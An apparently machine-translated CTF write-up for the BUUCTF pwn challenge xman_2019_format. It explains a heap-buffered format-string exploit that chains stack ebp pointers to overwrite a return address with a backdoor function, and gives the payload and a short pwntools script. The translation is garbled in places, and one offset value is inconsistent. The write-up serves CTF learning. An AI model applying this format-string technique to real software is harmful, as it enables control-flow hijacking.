[BUUCTF] PWN——xman_2019_format(fmt +ヒープ上のブラストスタック)

xman_2019_format

  1. 定期検査、32ビットプログラム、nxがオンになっている
    ここに画像の説明を挿入します
  2. プログラムで文字列を取得すると、バックドア関数back_doorr = 0x80485ABが見つかりました
    ここに画像の説明を挿入します
  3. この質問bufはスタックに保存されませんが、mallocによって要求されたヒープに保存されます
    ここに画像の説明を挿入します
  4. 次に、パラメータとしてbufを入力し、sub_80485C4と入力します。
    ここに画像の説明を挿入します
  5. バックドア関数があるため、フォーマット文字列を使用して、リターンアドレスをback_doorに変更できます。これは、
    主にデータの%ac$bn長さaオフセットbの位置書き込むために使用されます
  6. フォーマット文字列の脆弱性は通常、最初にスタックアドレスをリークしてからオフセットを計算する必要がありますが、ここではスタックではなくチャンクに格納されるため、ここで使用する方法はありません。したがって、すでにスタックにあるデータを使用して、関数のリターンアドレススタックへのポインターをスタックに配置し、リターンアドレススタックを乗っ取ることができます。
    ここに画像の説明を挿入します
    ebpチェーンは入力ポイントから10のオフセットにあり、ebpチェーン2は0x12にあり、リターンアドレスは0x13にあります。0xcf3cと複数の変更を組み合わせると、リターンアドレスの最後のポインターは0xcであることがわかります。リターンアドレスは0x8048697で、back_doorr = 0x80485AB
  7. 私の考えは、ebpチェーンを使用して、ebpチェーンをリターンアドレスにポイントするポインターを変更してから、リターンアドレスをback_doorに変更することです。変更する必要があるのは、2バイトだけです。
payload='%12c%10$hhn|%34219c%18$hn'

ペイロードについて少し説明します。
%12c%10$hhn
リターンアドレスのポインタの最後のビットが0x0c(0〜FはすべてOK、確率は1/16)であり、オフセットは10(最初の丸で囲まれたebp上の図)チェーン内のコンテンツの下位バイト)が0xcに変更されました。0xffffcf38のコンテンツは0xffffcf0cになります。
%34249c%18$hn
次に、オフセットを18(上の図の2番目の円で囲まれたebpチェーン)に変更し続けます。すでに0xffffcf38を入力しているため、コンテンツは0xffffcf0cに変更されます。したがって、ここで変更されるのは0xffffcf0cのコンテンツです(これがリターンアドレスであると想定)。最後の2バイトのみが異なるため、このアドレスをback_doorに変更します。 、少し変更するだけですはい、34219 = 0x85ab

次はキャラクターをテストする時です。成功する前に何度か試しました。
完全な経験

from pwn import *

p = remote("node3.buuoj.cn",27585)
#p=process('./xman_2019_format')
backdoor = 0x080485AB
 
payload='%12c%10$hhn|%34219c%18$hn'
p.sendline(payload)

p.interactive()

ここに画像の説明を挿入します
常wp:https://www.yuque.com/u239977/cbzkn3/biczbd

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/115060990